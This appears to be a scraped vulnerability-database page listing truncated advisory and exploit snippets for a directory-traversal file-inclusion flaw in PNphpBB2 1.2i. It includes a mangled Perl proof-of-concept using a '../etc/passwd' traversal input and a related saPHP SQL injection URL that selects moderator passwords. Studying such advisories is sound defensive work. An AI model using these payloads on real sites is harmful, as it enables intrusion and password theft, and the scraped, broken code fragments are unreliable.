CVE-2009-0592

Multiple directory traversal vulnerabilities in PNphpBB2 1.2i and earlier allow remote attackers to include and execute arbitrary local files via a .. dot dot in the ModName parameter to 1 adminwords.php, 2 admingroupsreapir.php, 3 adminsmilies.php, 4 adminranks.php, 5 adminstyles.php, and 6...

PNphpBB2 1.2i Local File Inclusion

+=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=+=--=--=--=--=--=-+ | PNphpBB2 = 1.2i ModName Multiple LFI Vulnerabilities | Note | +=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=+=--=--=--=--=--=-+ | discovered by athos - stakerathotmaildotit | register glob 1 | |...

PNphpBB2 <= 1.2i (ModName) Multiple LFI Vulnerabilities

No description provided by source. +=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=+=--=--=--=--=--=-+ | PNphpBB2 = 1.2i ModName Multiple LFI Vulnerabilities | Note | +=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=+=--=--=--=--=--=-+ | discovered by athos -...

PNphpBB2 <= 1.2i (ModName) Multiple Local File Inclusion Exploit

Exploit for unknown platform in category web applications ================================================================ PNphpBB2 'E4E4E4'; $obj-title$poc; $obj-minsize500,200; $obj-maxsize500,200; text'Host/Path ex: http://localhost/cms'; input1; text'Local File ex: ../../../../../etc/passwd';...

PNPHPBB2 1.2i - ModName Multiple Local File Inclusions

PNPHPBB2 1.2i - ModName Multiple Local File Inclusions !/usr/bin/perl PNphpBB2 'E4E4E4'; $obj-title$poc; $obj-minsize500,200; $obj-maxsize500,200; text'Host/Path ex: http://localhost/cms'; input1; text'Local File ex: ../../../../../etc/passwd'; input2; button; Button; print $host; sub text my $lo...

PNPHPBB2 < 1.2i - 'ModName' Multiple Local File Inclusions

!/usr/bin/perl PNphpBB2 'E4E4E4'; $obj-title$poc; $obj-minsize500,200; $obj-maxsize500,200; text'Host/Path ex: http://localhost/cms'; input1; text'Local File ex: ../../../../../etc/passwd'; input2; button; Button; print $host; sub text my $load = undef; my $text = shift; $load = $obj-Label -text ...

saPHP Lesson 2.0 - 'forumid' SQL Injection

!/usr/bin/perl For password http://www.example.com/path/showcat.php?forumid=-1%20union%20select%20ModPassword%20from%20modretor For username http://www.example.com/path/showcat.php?forumid=-1%20union%20select%20ModName%20from%20modretor sent in by SnIpErSA selfar2002athotmail.com ported by str0ke...